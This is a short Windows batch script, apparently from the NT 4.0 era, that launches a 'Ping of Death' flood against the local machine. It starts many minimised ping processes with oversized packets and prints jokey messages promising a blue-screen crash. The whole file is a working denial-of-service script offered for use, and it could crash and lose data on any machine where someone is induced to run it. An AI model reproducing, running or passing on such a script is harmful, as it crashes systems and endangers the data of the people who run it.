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- @echo off
- cls
- echo ------------------------------------------------------------------------------
- echo IMPORTANT INFO:
- echo.
- echo This Ping of Death works best if you try to surf the Internet
- echo at the same time. Now I will try to start the web browser for
- echo you right now. If it does not start, please start one right now.
- echo.
- echo More info at http://www.sophist.demon.co.uk/ping/
- echo Author of this batch file can be reached at [ag115@freenet.carleton.ca]
- echo.
- echo This crashes the author's NT 4.0 Service Pack 1 system reliably
- echo and one other system. A third system didn't work, though.
- echo THIS SCRIPT PROBABLY DOES NOT CRASH SYSTEMS OTHER THAN THE ONE THIS RUNS ON!
- echo.
- echo Please flush your disk cache first to be on the safe side.
- echo This is done by hitting Ctrl-Alt-Delete once then hiting Esc to return.
- echo ------------------------------------------------------------------------------
- echo.
- echo Attempting to launch Web Browser, please wait...
- start /high http://www.microsoft.com/
- echo When a web browser is up, press any key to start Ping of Death on localhost.
- pause
- cls
- echo ------------------------------------------------------------------------------
- echo Now Initiating Ping of Death flood to localhost!
- echo ------------------------------------------------------------------------------
- echo.
- echo This may take a few minutes, especially if you only have 16 or 32 MB.
- echo Please wait until the prompt returns before you try to surf.
- echo Forking Ping of Death processes...
- REM Seems to work best with taskman loaded, for some weird reason.
- start /high /min taskmgr.exe
- for %%d in ( A B C D E F G H I J K L M N O P Q R ) do start /min ping -l 65527 -n 1000 localhost
- cls
- echo ------------------------------------------------------------------------------
- echo READY TO CRASH WITHIN THE HOUR!
- echo.
- echo Ping of Death in now in progress...Surf and Die - pun intended. ;-)
- echo You should see the blue screen with a STOP error soon.
- echo.
- echo You may surf now. Remember, it may take 10 mins to crash. Or less. Or more.
- echo And not all NT 4.0 systems will crash with this script.
- echo You could try launching TaskMgr and a few small apps to expedite the crash.
- echo ------------------------------------------------------------------------------
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